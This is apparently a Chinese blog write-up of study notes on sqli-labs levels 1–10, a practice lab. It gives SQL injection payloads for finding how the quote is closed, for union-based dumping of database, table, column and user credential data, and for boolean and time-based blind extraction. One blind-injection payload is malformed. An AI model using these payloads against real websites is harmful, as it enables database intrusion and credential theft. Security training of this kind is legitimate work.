1_10

一些词汇
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。注入方式1:数字型注入——无需闭合。
2:单引号闭合——以’和–+闭合。
3:单引号和括号闭合——以’)和–+闭合。
4:双引号闭合——以"和–+闭合。
5:双引号和括号闭合——以")和–+闭合。
注释符号有 --+ -+ #
Less-1
输入?id=1页面显示正常然后判断闭合方式,输入/?id=1’–+,页面正常,因此该关为单引号闭合。
【神奇的插不上图就不插了】
接着用order by查询字段数,输入?id=1’ order by 5–+页面显示错误,尝试后得到有三个字段,接着用union联合查询,输入/?id=0’ union select 1,2,3–+,(此处应该有图)然后输入/?id=0’ union select 1,(select database()),3–+查询本地数据库
输入/?id=0’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+查询所有数据库
输入/?id=0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3–+查询security数据库中的数据表
输入/?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’),3–+查询security数据库中的users数据表的字段名
输入/?id=0’ union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)–+查询security数据库中的user数据表中的数据
Less-2
输入/?id=1正常,输入/?id=1’–+或/?id=1’)–+都错误,为数字型注入,不需要闭合
Less-3
输入/?id=1正常,输入/?id=1’–+错误,输入/?id=1’)–+页面显示正常,以’)和–+闭合
Less-4
输入/?id=1正常,输入/?id=1’–+和/?id=1’)–+页面正常,用order by 查询字段数时页面没变化,换成/?id=1") order by 4–+变化,以")和–+闭合
2-4其余参考1
Less-5
本关可以采用报错注入或者布尔盲注,参考了贾龙涛的做法
布尔盲注:
(1)mid()函数:mid(string,start,length)
(2)substr()函数: substr(string,start,length)
(3)left()函数: left(string,length)
(4)ascii()函数: 把某一个字符转为ascii值。(可将字符转成ascii值比较)
(5)limit(m,n)函数: 索引从m到n的数据。string:规定要返回的字符串。start:规定在字符串的何处开始(初始值为1)。length:规定被返回字符串的长度(可以省略,若省略则返回剩余所有文本)
布尔盲注的原理是根据页面返回的是true还是false来判断比较的字母是否正确。在函数后输入>‘a’,判断页面是否有变化,若页面无变化则会真,若页面为空,则为假,以此判断首字母,通过更改字符的位置,判断其他字母。利用 left(database(),1)进行尝试 输入 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23
输入?id=1%27and%20length(database())=8%23等到数据库长度为8
猜测数据库第一位 (已知security)
输入?id=1%27and%20left(database(),1)%3E%27a%27–+能看出s大于a, 所以返回正确接下来运用利用 substr() ascii()函数:ascii(substr((select table_name information_schema.tables wheretables_schema=database()limit 0,1),1,1))=10 Less-6闭合条件为双引号闭合,其余参考5
Less-7
认识的都没写我也跳了
Less-8
布尔盲注
输入?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+得到首字母为s同样的测试得到数据库名
Less-9
延迟盲注
输入?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#,页面延迟后响应,判断闭合方式为单引号。输入?id=1’ and if(ascii(substr(database(),2,1))>115, 0, sleep(5))#得到数据库名security接下来推测出表名Less-10
双引号闭合,将9中的’换为” 即可

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值